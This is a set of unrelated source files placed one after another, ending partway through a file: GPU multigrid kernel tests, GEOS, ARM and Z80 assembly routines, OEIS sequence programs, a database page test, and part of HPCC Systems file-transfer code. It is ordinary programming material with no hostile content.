rho->at(0, 0) = 2.0; beta->at(0, 0) = 2.0; gamma->at(0, 0) = 2.0; zeta->at(0, 0) = -1.0; // temp, scalar_d, scalar_e are not finite alpha->at(0, 1) = 0.0; rho->at(0, 1) = 0.0; beta->at(0, 1) = -1.0; gamma->at(0, 1) = 0.0; zeta->at(0, 1) = 3.0; // scalar_e is not finite alpha->at(0, 2) = 0.0; rho->at(0, 2) = 1.0; beta->at(0, 2) = 2.0; gamma->at(0, 2) = 1.0; zeta->at(0, 2) = 2.0; } std::shared_ptr<gko::ReferenceExecutor> ref; std::shared_ptr<const gko::CudaExecutor> cuda; std::default_random_engine rand_engine; std::unique_ptr<Mtx> v; std::unique_ptr<Mtx> d; std::unique_ptr<Mtx> g; std::unique_ptr<Mtx> e; std::unique_ptr<Mtx> alpha; std::unique_ptr<Mtx> rho; std::unique_ptr<Mtx> beta; std::unique_ptr<Mtx> gamma; std::unique_ptr<Mtx> zeta; std::unique_ptr<Mtx> old_norm; std::unique_ptr<Mtx> new_norm; std::unique_ptr<Mtx> d_v; std::unique_ptr<Mtx> d_d; std::unique_ptr<Mtx> d_g; std::unique_ptr<Mtx> d_e; std::unique_ptr<Mtx> d_alpha; std::unique_ptr<Mtx> d_rho; std::unique_ptr<Mtx> d_beta; std::unique_ptr<Mtx> d_gamma; std::unique_ptr<Mtx> d_zeta; std::unique_ptr<Mtx> d_old_norm; std::unique_ptr<Mtx> d_new_norm; }; TEST_F(Multigrid, CudaMultigridKCycleStep1IsEquivalentToRef) { initialize_data(); gko::kernels::reference::multigrid::kcycle_step_1( ref, gko::lend(alpha), gko::lend(rho), gko::lend(v), gko::lend(g), gko::lend(d), gko::lend(e)); gko::kernels::cuda::multigrid::kcycle_step_1( cuda, gko::lend(d_alpha), gko::lend(d_rho), gko::lend(d_v), gko::lend(d_g), gko::lend(d_d), gko::lend(d_e)); GKO_ASSERT_MTX_NEAR(d_g, g, 1e-14); GKO_ASSERT_MTX_NEAR(d_d, d, 1e-14); GKO_ASSERT_MTX_NEAR(d_e, e, 1e-14); } TEST_F(Multigrid, CudaMultigridKCycleStep2IsEquivalentToRef) { initialize_data(); gko::kernels::reference::multigrid::kcycle_step_2( ref, gko::lend(alpha), gko::lend(rho), gko::lend(gamma), gko::lend(beta), gko::lend(zeta), gko::lend(d), gko::lend(e)); gko::kernels::cuda::multigrid::kcycle_step_2( cuda, gko::lend(d_alpha), gko::lend(d_rho), gko::lend(d_gamma), gko::lend(d_beta), gko::lend(d_zeta), gko::lend(d_d), gko::lend(d_e)); GKO_ASSERT_MTX_NEAR(d_e, e, 1e-14); } TEST_F(Multigrid, CudaMultigridKCycleCheckStopIsEquivalentToRef) { initialize_data(); bool is_stop_10; bool d_is_stop_10; bool is_stop_5; bool d_is_stop_5; gko::kernels::reference::multigrid::kcycle_check_stop( ref, gko::lend(old_norm), gko::lend(new_norm), 1.0, is_stop_10); gko::kernels::cuda::multigrid::kcycle_check_stop( cuda, gko::lend(d_old_norm), gko::lend(d_new_norm), 1.0, d_is_stop_10); gko::kernels::reference::multigrid::kcycle_check_stop( ref, gko::lend(old_norm), gko::lend(new_norm), 0.5, is_stop_5); gko::kernels::cuda::multigrid::kcycle_check_stop( cuda, gko::lend(d_old_norm), gko::lend(d_new_norm), 0.5, d_is_stop_5); GKO_ASSERT_EQ(d_is_stop_10, is_stop_10); GKO_ASSERT_EQ(d_is_stop_10, true); GKO_ASSERT_EQ(d_is_stop_5, is_stop_5); GKO_ASSERT_EQ(d_is_stop_5, false); } } // namespace
include stdapp.def include product.def if PROGRESS_DISPLAY include Internal/semInt.def include thread.def include Internal/heapInt.def include Internal/interrup.def endif include driver.def include geode.def include Internal/videoDr.def include socket.def include sockmisc.def include sem.def SetGeosConvention ; set calling convention ASM_TEXT segment public 'CODE' if ERROR_CHECK global F_CHKSTK@:far ; Called with AX containing the number of bytes to be allocated on the stack. ; Must return with the stackpointer lowered by AX bytes. F_CHKSTK@ proc far pop cx ; save return address pop dx sub sp,ax ; allocated space on stack push dx ; restore return address push cx call ECCHECKSTACK ; still enough room on stack? ret ; return to calling routine F_CHKSTK@ endp endif if PROGRESS_DISPLAY global WAKEUP:far WAKEUP proc far queueP:fptr .enter ; make sure we get plenty attention ;no, we don't want to take time from the PPP/TCPIP threads ;clr bx ;mov al, 20 ;mov ah, mask TMF_BASE_PRIO ;call ThreadModify push ds mov ax, queueP.segment mov ds, ax mov bx, queueP.offset cmp {word}ds:[bx], 0 pop ds jz done ; no one blocked call ThreadWakeUpQueue done: .leave ret WAKEUP endp .ioenable global BLOCK:far BLOCK proc far queueP:fptr, flag:fptr .enter ; ; atomically check flag, block if FALSE ; INT_OFF push ds, si lds si, flag mov ax, ds:[si] pop ds, si cmp ax, 0 ; also allows us to set conditional brk here jne noBlock mov ax, queueP.segment mov bx, queueP.offset call ThreadBlockOnQueue noBlock: INT_ON .leave ret BLOCK endp endif ;should be conditional on TV_BW_OPTION global SETVIDBW:far SETVIDBW proc far bwOn:word uses di, ds, si .enter mov ax, GDDT_VIDEO call GeodeGetDefaultDriver ; bx = driver tst ax jz done mov bx, ax call GeodeInfoDriver ; ds:si = DIS mov ax, bwOn mov di, VID_ESC_SET_BLACK_WHITE call ds:[si].DIS_strategy done: .leave ret SETVIDBW endp ASM_TEXT ends idata segment ; this is fixed tcpDomain char "TCPIP",0 sa label SocketAddress SocketPort <1, MANUFACTURER_ID_SOCKET_16BIT_PORT> word size tcpDomain-1 fptr tcpDomain word size xa xa label TcpAccPntResolvedAddress word 3 byte LT_ID word 1 byte 0, 0, 0, 0 OpenConnectionRoutine proc far mov bx, cx ; bx = quitSem mov cx, segment idata mov dx, offset sa mov bp, 3600 call SocketOpenDomainMedium tst bx jz done call ThreadVSem done: clr cx, dx, bp jmp ThreadDestroy OpenConnectionRoutine endp global OPENCONNECTION:far OPENCONNECTION proc far quitSem:word uses si, di, bp .enter mov si, quitSem mov al, PRIORITY_STANDARD mov cx, segment OpenConnectionRoutine mov dx, offset OpenConnectionRoutine mov di, 2048 call GeodeGetProcessHandle mov bp, bx mov bx, si call ThreadCreate .leave ret OPENCONNECTION endp idata ends
#include <cstdio> #include <cstdlib> #include "buffer/buffer_pool_manager.h" #include "page/header_page.h" #include "gtest/gtest.h" // NOTE: when you running this test, make sure page size(config.h) is at least // 4096 namespace cmudb { TEST(HeaderPageTest, UnitTest) { BufferPoolManager *buffer_pool_manager = new BufferPoolManager(20, "test.db"); page_id_t header_page_id; HeaderPage *page = static_cast<HeaderPage *>(buffer_pool_manager->NewPage(header_page_id)); ASSERT_NE(nullptr, page); page->Init(); for (int i = 1; i < 28; i++) { std::string name = std::to_string(i); EXPECT_EQ(page->InsertRecord(name, i), true); } for (int i = 27; i >= 1; i--) { std::string name = std::to_string(i); page_id_t root_id; EXPECT_EQ(page->GetRootId(name, root_id), true); // std::cout << "root page id is " << root_id << '\n'; } for (int i = 1; i < 28; i++) { std::string name = std::to_string(i); EXPECT_EQ(page->UpdateRecord(name, i + 10), true); } for (int i = 27; i >= 1; i--) { std::string name = std::to_string(i); page_id_t root_id; EXPECT_EQ(page->GetRootId(name, root_id), true); // std::cout << "root page id is " << root_id << '\n'; } for (int i = 1; i < 28; i++) { std::string name = std::to_string(i); EXPECT_EQ(page->DeleteRecord(name), true); } EXPECT_EQ(page->GetRecordCount(), 0); delete buffer_pool_manager; } } // namespace cmudb
@; Thomas Irish @; IO - Macros .macro ENABLE_GPIOx GPIOx_INDEX MOV_imm32 r0, (1 << \GPIOx_INDEX) MOV_imm32 r1, RCC_AHB1ENR ldr r2, [r1] orr r2, r0 str r2, [r1] .endm .macro SET_GPIOx_REG REG_OFFSET, GPIOx_BASE, PIN, VAL, VAL_WIDTH MOV_imm32 r0, \GPIOx_BASE .if (\VAL_WIDTH == 1) MOV_imm32 r1, (\VAL << \PIN) MOV_imm32 r2, (1 << \PIN) .elseif(\VAL_WIDTH == 2) MOV_imm32 r1, (\VAL << (2*\PIN)) MOV_imm32 r2, (3 << (2*\PIN)) .elseif(\VAL_WIDTH == 4) MOV_imm32 r1, (\VAL << (4*\PIN)) MOV_imm32 r2, (0xf << (4*\PIN)) .endif INVERT r2 ldr r3, [r0, \REG_OFFSET] @; r3 contains OTYPER reg and r3, r2 @; clear out 1 bit of OTYPER for pin orr r1, r3 @; set the 1 bit of OTYPER for pin str r1, [r0, \REG_OFFSET] .endm .macro PORTBIT_init CONFIG GPIOx_BASE PIN .if (\CONFIG == STD_OUTPIN) @; SET_GPIOx_REG REG_OFFSET, GPIOx_BASE, PIN, VAL, VAL_WIDTH SET_GPIOx_REG MODER, \GPIOx_BASE, \PIN, 1, 2 SET_GPIOx_REG OTYPER, \GPIOx_BASE, \PIN, 0, 1 SET_GPIOx_REG OSPEEDR, \GPIOx_BASE, \PIN, 2, 2 SET_GPIOx_REG PUPDR, \GPIOx_BASE, \PIN, 1, 2 .elseif(\CONFIG == PULLUP_INPIN) SET_GPIOx_REG MODER, \GPIOx_BASE, \PIN, 0, 2 @;SET_GPIOx_REG OTYPER, \GPIOx_BASE, \PIN, 0, 1 SET_GPIOx_REG OSPEEDR, \GPIOx_BASE, \PIN, 2, 2 SET_GPIOx_REG PUPDR, \GPIOx_BASE, \PIN, 1, 2 .elseif(\CONFIG == ALT_PIN) SET_GPIOx_REG MODER, \GPIOx_BASE, \PIN, 2, 2 SET_GPIOx_REG OTYPER, \GPIOx_BASE, \PIN, 0, 1 SET_GPIOx_REG OSPEEDR, \GPIOx_BASE, \PIN, 2, 2 SET_GPIOx_REG PUPDR, \GPIOx_BASE, \PIN, 1, 2 .elseif(\CONFIG == PULLDOWN_INPIN) SET_GPIOx_REG MODER, \GPIOx_BASE, \PIN, 0, 2 @;SET_GPIOx_REG OTYPER, \GPIOx_BASE, \PIN, 0, 1 SET_GPIOx_REG OSPEEDR, \GPIOx_BASE, \PIN, 2, 2 SET_GPIOx_REG PUPDR, \GPIOx_BASE, \PIN, 2, 2 .endif .endm .macro PORTBIT_write GPIOx_BASE PIN VAL MOV_imm32 r0, \GPIOx_BASE .if (\VAL == 1) @;MOV_imm32 r2, BSRRL @; SET PIN ldr r1, [r0, BSRRL] .else @;MOV_imm32 r2, BSRRH @; CLEAR PIN ldr r1, [r0, BSRRH] .endif @;ldr r1, [r0, r2] MOV_imm32 r3, (1 << \PIN) orr r1, r3 @;str rl, [r0, r2] .if (\VAL == 1) str r1, [r0, BSRRL] .else str r1, [r0, BSRRH] .endif .endm @;ANODE_write X,R,G,D4,D3,D2,D1,P : R(ed),G(rn),D(igit)4,-3,-2,-1,P(unctuation) .macro ANODE_write X R G D4 D3 D2 D1 P @; PORTBIT_write GPIOx_BASE PIN VAL PORTBIT_write GPIOB_BASE, 11, \R PORTBIT_write GPIOB_BASE, 0, \G PORTBIT_write GPIOB_BASE, 1, \D4 PORTBIT_write GPIOC_BASE, 4, \D3 PORTBIT_write GPIOA_BASE, 1, \D2 PORTBIT_write GPIOC_BASE, 2, \D1 PORTBIT_write GPIOC_BASE, 5, \P @; UPDATE LATCHS (pulse AN clk) PORTBIT_write GPIOC_BASE, 11, 0 PORTBIT_write GPIOC_BASE, 11, 1 .endm @; UPDATE LATCHS (pulse CA clk) .macro CATHODE_save PORTBIT_write GPIOD_BASE, 2, 0 PORTBIT_write GPIOD_BASE, 2, 1 .endm @; CATHODE_write A,B,C,D,E,F,G,DP .macro CATHODE_write A B C D E F G DP @; PORTBIT_write GPIOx_BASE PIN VAL PORTBIT_write GPIOC_BASE, 5, \A PORTBIT_write GPIOB_BASE, 1, \B PORTBIT_write GPIOA_BASE, 1, \C PORTBIT_write GPIOB_BASE, 5, \D PORTBIT_write GPIOB_BASE, 11, \E PORTBIT_write GPIOC_BASE, 2, \F PORTBIT_write GPIOC_BASE, 4, \G PORTBIT_write GPIOB_BASE, 0, \DP CATHODE_save .endm @; preserves regs: r0-r3 .macro CATHODE_write_safe A B C D E F G DP push {r0, r1, r2, r3} CATHODE_write \A, \B, \C, \D, \E, \F, \G, \DP pop {r0,r1,r2,r3} .endm @; Returns pin value in r0 @; taints r1 .macro PORTBIT_read GPIOx_BASE PIN MOV_imm32 r0, \GPIOx_BASE ldr r1, [r0, #(IDR)] @; r1 contains IDR reg MOV_imm32 r0, (1 << \PIN) and r1, r1, r0 @;isolate bit for input PIN lsr r1, #(\PIN) @;move isolated bit to beginning of word mov r0, r1 .endm @; Returns pin value in r0 @; preserves r1 .macro PORTBIT_read_safe GPIOx_BASE PIN push{r1} PORTBIT_read \GPIOx_BASE, \PIN pop{r1} .endm
; A022123: Fibonacci sequence beginning 3, 11. ; 3,11,14,25,39,64,103,167,270,437,707,1144,1851,2995,4846,7841,12687,20528,33215,53743,86958,140701,227659,368360,596019,964379,1560398,2524777,4085175,6609952,10695127,17305079,28000206,45305285,73305491,118610776 mov $1,3 mov $2,6 mov $3,5 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 lpe mov $0,$1
; A104624: Expansion of exp( arcsinh( -2*x ) ) in powers of x. ; Submitted by Christian Krause ; 1,-2,2,0,-2,0,4,0,-10,0,28,0,-84,0,264,0,-858,0,2860,0,-9724,0,33592,0,-117572,0,416024,0,-1485800,0,5348880,0,-19389690,0,70715340,0,-259289580,0,955277400,0,-3534526380,0,13128240840,0,-48932534040,0,182965127280,0,-686119227300,0,2579808294648,0,-9723892802904,0,36734706144304,0,-139067101832008,0,527495903500720,0,-2004484433302736,0,7629973004184608,0,-29089272078453818,0,111068129754096396,0,-424672260824486220,0,1625888084299461528,0,-6232570989814602524,0,23919596771720906984,0 mov $1,1 mov $3,$0 sub $4,$0 sub $4,1 lpb $3 mul $1,$4 mul $1,$3 mul $1,2 sub $2,$4 div $1,$2 sub $3,1 add $4,2 lpe mov $0,$1
; ; Hook ; Hook: MACRO ?address, ?entry, ?oldHook address: dw ?address entry: dw ?entry oldHook: dw ?oldHook ENDM ; ix = this Hook_Install: ld l,(ix + Hook.address) ld h,(ix + Hook.address + 1) ld e,(ix + Hook.oldHook) ld d,(ix + Hook.oldHook + 1) ld bc,5 push hl di ldir pop hl ld (hl),0C3H ; jp inc hl ld a,(ix + Hook.entry) ld (hl),a inc hl ld a,(ix + Hook.entry + 1) ei ld (hl),a ret ; ix = this Hook_Uninstall: ld l,(ix + Hook.oldHook) ld h,(ix + Hook.oldHook + 1) ld e,(ix + Hook.address) ld d,(ix + Hook.address + 1) inc de ld a,(de) cp (ix + Hook.entry) call nz,System_ThrowException inc de ld a,(de) cp (ix + Hook.entry + 1) call nz,System_ThrowException dec de dec de ld bc,5 di ldir ei ret
; A213837: Principal diagonal of the convolution array A213836. ; 1,13,52,134,275,491,798,1212,1749,2425,3256,4258,5447,6839,8450,10296,12393,14757,17404,20350,23611,27203,31142,35444,40125,45201,50688,56602,62959,69775,77066,84848,93137,101949,111300,121206,131683,142747,154414,166700,179621,193193,207432,222354,237975,254311,271378,289192,307769,327125,347276,368238,390027,412659,436150,460516,485773,511937,539024,567050,596031,625983,656922,688864,721825,755821,790868,826982,864179,902475,941886,982428,1024117,1066969,1111000,1156226,1202663,1250327,1299234,1349400,1400841,1453573,1507612,1562974,1619675,1677731,1737158,1797972,1860189,1923825,1988896,2055418,2123407,2192879,2263850,2336336,2410353,2485917,2563044,2641750,2722051,2803963,2887502,2972684,3059525,3148041,3238248,3330162,3423799,3519175,3616306,3715208,3815897,3918389,4022700,4128846,4236843,4346707,4458454,4572100,4687661,4805153,4924592,5045994,5169375,5294751,5422138,5551552,5683009,5816525,5952116,6089798,6229587,6371499,6515550,6661756,6810133,6960697,7113464,7268450,7425671,7585143,7746882,7910904,8077225,8245861,8416828,8590142,8765819,8943875,9124326,9307188,9492477,9680209,9870400,10063066,10258223,10455887,10656074,10858800,11064081,11271933,11482372,11695414,11911075,12129371,12350318,12573932,12800229,13029225,13260936,13495378,13732567,13972519,14215250,14460776,14709113,14960277,15214284,15471150,15730891,15993523,16259062,16527524,16798925,17073281,17350608,17630922,17914239,18200575,18489946,18782368,19077857,19376429,19678100,19982886,20290803,20601867,20916094,21233500,21554101,21877913,22204952,22535234,22868775,23205591,23545698,23889112,24235849,24585925,24939356,25296158,25656347,26019939,26386950,26757396,27131293,27508657,27889504,28273850,28661711,29053103,29448042,29846544,30248625,30654301,31063588,31476502,31893059,32313275,32737166,33164748,33596037,34031049,34469800,34912306,35358583,35808647,36262514,36720200,37181721,37647093,38116332,38589454,39066475,39547411,40032278,40521092,41013869,41510625 mov $1,$0 add $1,1 mov $4,$0 add $4,$0 add $4,$0 mov $3,$4 lpb $0 sub $0,1 add $2,$1 add $1,$3 add $1,$3 sub $1,$0 add $1,3 lpe add $0,$2 add $1,$0
; A212683: Number of (w,x,y,z) with all terms in {1,...,n} and |x-y| = w + |y-z|. ; 0,0,2,8,22,46,84,138,212,308,430,580,762,978,1232,1526,1864,2248,2682,3168,3710,4310,4972,5698,6492,7356,8294,9308,10402,11578,12840,14190,15632,17168,18802,20536,22374,24318,26372,28538,30820 mul $0,2 mov $1,$0 sub $0,1 pow $0,3 mov $2,$1 add $2,3 add $0,$2 div $0,32 mul $0,2
/*############################################################################## HPCC SYSTEMS software Copyright (C) 2012 HPCC Systems®. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ############################################################################## */ #include "jliball.hpp" #include "platform.h" #include <algorithm> #include "jlib.hpp" #include "jio.hpp" #include <math.h> #include "jmutex.hpp" #include "jfile.hpp" #include "jsocket.hpp" #include "jdebug.hpp" #include "fterror.hpp" #include "dadfs.hpp" #include "rmtspawn.hpp" #include "filecopy.ipp" #include "jptree.hpp" #include "daft.hpp" #include "daftcfg.hpp" #include "fterror.hpp" #include "daftformat.hpp" #include "daftmc.hpp" #include "dasds.hpp" #include "jlog.hpp" #include "dalienv.hpp" #include "ftbase.ipp" #define DEFAULT_MAX_CONNECTIONS 800 #define PARTITION_RECOVERY_LIMIT 1000 #define EXPECTED_RESPONSE_TIME (60 * 1000) #define RESPONSE_TIME_TIMEOUT (60 * 60 * 1000) #define DEFAULT_MAX_XML_RECORD_SIZE 0x100000 //#define CLEANUP_RECOVERY //Use hash defines for properties so I can't mis-spell them.... #define ANcomplete "@complete" #define ANcompress "@compress" #define ANcrc "@crc" #define ANcrcCheck "@crcCheck" #define ANcrcDiffers "@crcDiffers" #define ANdone "@done" #define ANhasPartition "@hasPartition" #define ANhasProgress "@hasProgress" #define ANhasRecovery "@hasRecovery" #define ANmaxConnections "@maxConnections" #define ANnocommon "@noCommon" #define ANnoRecover "@noRecover" #define ANnosplit "@nosplit" #define ANnosplit2 "@noSplit" #define ANprefix "@prefix" #define ANpull "@pull" #define ANpush "@push" #define ANsafe "@safe" #define ANsizedate "@sizedate" #define ANsplit "@split" #define ANsplitPrefix "@splitPrefix" #define ANthrottle "@throttle" #define ANverify "@verify" #define ANtransferBufferSize "@transferBufferSize" #define ANencryptKey "@encryptKey" #define ANdecryptKey "@decryptKey" #define ANumask "@umask" #define PNpartition "partition" #define PNprogress "progress" //File attributes #define FArecordSize "@recordSize" #define FArecordCount "@recordCount" #define FAformat "@format" #define FAcrc "@fileCrc" #define FAsize "@size" #define FAcompressedSize "@compressedSize" const unsigned operatorUpdateFrequency = 5000; // time between updates in ms const unsigned abortCheckFrequency = 20000; // time between updates in ms const unsigned sdsUpdateFrequency = 20000; // time between updates in ms const unsigned maxSlaveUpdateFrequency = 1000; // time between updates in ms - small number of nodes. const unsigned minSlaveUpdateFrequency = 5000; // time between updates in ms - large number of nodes. bool TargetLocation::canPull() { return queryOS(filename.queryIP()) != MachineOsSolaris; } //---------------------------------------------------------------------------- FilePartInfo::FilePartInfo(const RemoteFilename & _filename) { filename.set(_filename); init(); } FilePartInfo::FilePartInfo() { init(); } bool FilePartInfo::canPush() { return queryOS(filename.queryIP()) != MachineOsSolaris; } void FilePartInfo::extractExtra(IPartDescriptor &part) { unsigned _crc; hasCRC = part.getCrc(_crc); if (hasCRC) crc = _crc; properties.set(&part.queryProperties()); if (part.queryProperties().hasProp("@modified")) modifiedTime.setString(part.queryProperties().queryProp("@modified")); } void FilePartInfo::extractExtra(IDistributedFilePart &part) { unsigned _crc; hasCRC = part.getCrc(_crc); if (hasCRC) crc = _crc; properties.set(&part.queryAttributes()); if (part.queryAttributes().hasProp("@modified")) modifiedTime.setString(part.queryAttributes().queryProp("@modified")); } void FilePartInfo::init() { offset = 0; size = UNKNOWN_PART_SIZE; psize = UNKNOWN_PART_SIZE; headerSize = 0; hasCRC = false; xmlHeaderLength = 0; xmlFooterLength = 0; } //---------------------------------------------------------------------------- void shuffle(CIArray & array) { //Use our own seeded random number generator, so that multiple dfu at the same time are less likely to clash. Owned<IRandomNumberGenerator> random = createRandomNumberGenerator(); random->seed(123456789); unsigned i = array.ordinality(); while (i > 1) { unsigned j = random->next() % i; i--; array.swap(i, j); } } //---------------------------------------------------------------------------- FileTransferThread::FileTransferThread(FileSprayer & _sprayer, byte _action, const SocketEndpoint & _ep, bool _calcCRC, const char *_wuid) : Thread("pullThread"), sprayer(_sprayer), wuid(_wuid) { calcCRC = _calcCRC; action = _action; ep.set(_ep); // progressInfo = _progressInfo; sem = NULL; ok = false; job = unknownJob; allDone = false; started = false; } void FileTransferThread::addPartition(PartitionPoint & nextPartition, OutputProgress & nextProgress) { partition.append(OLINK(nextPartition)); progress.append(OLINK(nextProgress)); } unsigned __int64 FileTransferThread::getInputSize() { unsigned __int64 inputSize = 0; ForEachItemIn(idx, partition) inputSize += partition.item(idx).inputLength; return inputSize; } void FileTransferThread::go(Semaphore & _sem) { sem = &_sem; if (partition.empty()) transferAndSignal(); // do nothing, but don't start a new thread else { #ifdef RUN_SLAVES_ON_THREADS start(); #else transferAndSignal(); #endif } } bool FileTransferThread::isAborting() { return sprayer.isAborting() || ::isAborting(); } void FileTransferThread::logIfRunning(StringBuffer &list) { if (started && !allDone && !error) { StringBuffer url; ep.getUrlStr(url); DBGLOG("Still waiting for slave %s", url.str()); if (list.length()) list.append(','); list.append(url); } } bool FileTransferThread::catchReadBuffer(ISocket * socket, MemoryBuffer & msg, unsigned timeout) { unsigned nowTime = msTick(); unsigned abortCheckTimeout = 120*1000; for (;;) { try { readBuffer(socket, msg, abortCheckTimeout); return true; } catch (IException * e) { switch (e->errorCode()) { case JSOCKERR_graceful_close: break; case JSOCKERR_timeout_expired: if (isAborting()) break; if (msTick() - nowTime < timeout) { e->Release(); continue; } break; default: EXCLOG(e,"FileTransferThread::catchReadBuffer"); break; } e->Release(); return false; } } } bool FileTransferThread::performTransfer() { bool ok = false; StringBuffer url; ep.getUrlStr(url); LOG(MCdebugProgress, job, "Transferring part %s [%p]", url.str(), this); started = true; allDone = true; if (sprayer.isSafeMode || action == FTactionpush) { ForEachItemIn(i, progress) { if (progress.item(i).status != OutputProgress::StatusCopied) allDone = false; } } else { unsigned whichOutput = (unsigned)-1; ForEachItemIn(i, progress) { PartitionPoint & curPartition = partition.item(i); OutputProgress & curProgress = progress.item(i); //pull should rename as well as copy the files. if (curPartition.whichOutput != whichOutput) { if (curProgress.status != OutputProgress::StatusRenamed) allDone = false; whichOutput = curPartition.whichOutput; } } } if (allDone) { LOG(MCdebugInfo, job, "Creation of part %s already completed", url.str()); return true; } if (partition.empty()) { LOG(MCdebugInfo, job, "No elements to transfer for this slave"); return true; } LOG(MCdebugProgressDetail, job, "Start generate part %s [%p]", url.str(), this); StringBuffer tmp; Owned<ISocket> socket = spawnRemoteChild(SPAWNdfu, sprayer.querySlaveExecutable(ep, tmp), ep, DAFT_VERSION, queryFtSlaveLogDir(), this, wuid); if (socket) { MemoryBuffer msg; msg.setEndian(__BIG_ENDIAN); //MORE: Allow this to be configured by an option. unsigned slaveUpdateFrequency = minSlaveUpdateFrequency; if (sprayer.numParallelSlaves() < 5) slaveUpdateFrequency = maxSlaveUpdateFrequency; //Send message and wait for response... msg.append(action); // send 0 for password info that was in <= 7.6 versions unsigned zero = 0; msg.append(zero); ep.serialize(msg); sprayer.srcFormat.serialize(msg); sprayer.tgtFormat.serialize(msg); msg.append(sprayer.calcInputCRC()); msg.append(calcCRC); serialize(partition, msg); msg.append(sprayer.numParallelSlaves()); msg.append(slaveUpdateFrequency); msg.append(sprayer.replicate); // NB: controls whether FtSlave copies source timestamp msg.append(sprayer.mirroring); msg.append(sprayer.isSafeMode); msg.append(progress.ordinality()); ForEachItemIn(i, progress) progress.item(i).serializeCore(msg); msg.append(sprayer.throttleNicSpeed); msg.append(sprayer.compressedInput); msg.append(sprayer.compressOutput); msg.append(sprayer.copyCompressed); msg.append(sprayer.transferBufferSize); msg.append(sprayer.encryptKey); msg.append(sprayer.decryptKey); sprayer.srcFormat.serializeExtra(msg, 1); sprayer.tgtFormat.serializeExtra(msg, 1); ForEachItemIn(i2, progress) progress.item(i2).serializeExtra(msg, 1); //NB: Any extra data must be appended at the end... msg.append(sprayer.fileUmask); if (!catchWriteBuffer(socket, msg)) throwError1(RFSERR_TimeoutWaitConnect, url.str()); bool done; for (;;) { msg.clear(); if (!catchReadBuffer(socket, msg, FTTIME_PROGRESS)) throwError1(RFSERR_TimeoutWaitSlave, url.str()); msg.setEndian(__BIG_ENDIAN); msg.read(done); if (done) break; OutputProgress newProgress; newProgress.deserializeCore(msg); newProgress.deserializeExtra(msg, 1); sprayer.updateProgress(newProgress); LOG(MCdebugProgress(10000), job, "Update %s: %d %" I64F "d->%" I64F "d", url.str(), newProgress.whichPartition, newProgress.inputLength, newProgress.outputLength); if (isAborting()) { if (!sendRemoteAbort(socket)) throwError1(RFSERR_TimeoutWaitSlave, url.str()); } } msg.read(ok); setErrorOwn(deserializeException(msg)); LOG(MCdebugProgressDetail, job, "Finished generating part %s [%p] ok(%d) error(%d)", url.str(), this, (int)ok, (int)(error!=NULL)); msg.clear().append(true); catchWriteBuffer(socket, msg); if (sprayer.options->getPropInt("@fail", 0)) throwError(DFTERR_CopyFailed); } else { throwError1(DFTERR_FailedStartSlave, url.str()); } LOG(MCdebugProgressDetail, job, "Stopped generate part %s [%p]", url.str(), this); allDone = true; return ok; } void FileTransferThread::setErrorOwn(IException * e) { error.setown(e); if (error) sprayer.setError(ep, error); } bool FileTransferThread::transferAndSignal() { ok = false; if (!isAborting()) { try { ok = performTransfer(); } catch (IException * e) { FLLOG(MCexception(e), job, e, "Transferring files"); setErrorOwn(e); } } sem->signal(); return ok; } int FileTransferThread::run() { transferAndSignal(); return 0; } //---------------------------------------------------------------------------- FileSizeThread::FileSizeThread(FilePartInfoArray & _queue, CriticalSection & _cs, bool _isCompressed, bool _errorIfMissing) : Thread("fileSizeThread"), queue(_queue), cs(_cs) { isCompressed = _isCompressed; errorIfMissing = _errorIfMissing; } bool FileSizeThread::wait(unsigned timems) { while (!sem.wait(timems)) { // report every time StringBuffer rfn; { CriticalBlock lock(cs); if (cur.get()) { if (copy) { if (!cur->mirrorFilename.isNull()) cur->mirrorFilename.getRemotePath(rfn); } else { cur->filename.getRemotePath(rfn); } } } if (!rfn.isEmpty()) { OWARNLOG("Waiting for file: %s",rfn.str()); return false; } } sem.signal(); // if called again return true; } int FileSizeThread::run() { try { RemoteFilename remoteFilename; for (;;) { { CriticalBlock lock(cs); cur.clear(); if (queue.ordinality()) cur.setown(&queue.popGet()); } if (!cur.get()) break; copy=0; for (copy = 0;copy<2;copy++) { if (copy) { if (cur->mirrorFilename.isNull()) continue; // not break remoteFilename.set(cur->mirrorFilename); } else remoteFilename.set(cur->filename); OwnedIFile thisFile = createIFile(remoteFilename); offset_t thisSize = thisFile->size(); if (thisSize == -1) { if (errorIfMissing) { StringBuffer s; throwError1(DFTERR_CouldNotOpenFile, remoteFilename.getRemotePath(s).str()); } continue; } cur->psize = thisSize; if (isCompressed) { Owned<IFileIO> io = createCompressedFileReader(thisFile); //check succeeded? if (!io) { StringBuffer s; throwError1(DFTERR_CouldNotOpenCompressedFile, remoteFilename.getRemotePath(s).str()); } thisSize = io->size(); } cur->size = thisSize; break; } if (copy==1) { // need to set primary CriticalBlock lock(cs); cur->mirrorFilename.set(cur->filename); cur->filename.set(remoteFilename); } } } catch (IException * e) { error.setown(e); } sem.signal(); return 0; } //---------------------------------------------------------------------------- FileSprayer::FileSprayer(IPropertyTree * _options, IPropertyTree * _progress, IRemoteConnection * _recoveryConnection, const char *_wuid) : wuid(_wuid), fileSprayerAbortChecker(*this) { totalSize = 0; replicate = false; copySource = false; unknownSourceFormat = true; unknownTargetFormat = true; progressTree.set(_progress); recoveryConnection = _recoveryConnection; options.set(_options); if (!options) options.setown(createPTree()); if (!progressTree) progressTree.setown(createPTree("progress", ipt_caseInsensitive)); //split prefix messes up recovery because the target filenames aren't saved in the recovery info. allowRecovery = !options->getPropBool(ANnoRecover) && !querySplitPrefix(); isRecovering = allowRecovery && progressTree->hasProp(ANhasProgress); isSafeMode = options->getPropBool(ANsafe); job = unknownJob; progressReport = NULL; abortChecker = NULL; sizeToBeRead = 0; calcedPullPush = false; mirroring = false; lastAbortCheckTick = lastSDSTick = lastOperatorTick = msTick(); calcedInputCRC = false; aborting = false; totalLengthRead = 0; throttleNicSpeed = 0; compressedInput = false; compressOutput = options->getPropBool(ANcompress); copyCompressed = false; transferBufferSize = options->getPropInt(ANtransferBufferSize); if (transferBufferSize) LOG(MCdebugProgressDetail, job, "Using transfer buffer size %d", transferBufferSize); else // zero is default transferBufferSize = DEFAULT_STD_BUFFER_SIZE; progressDone = false; 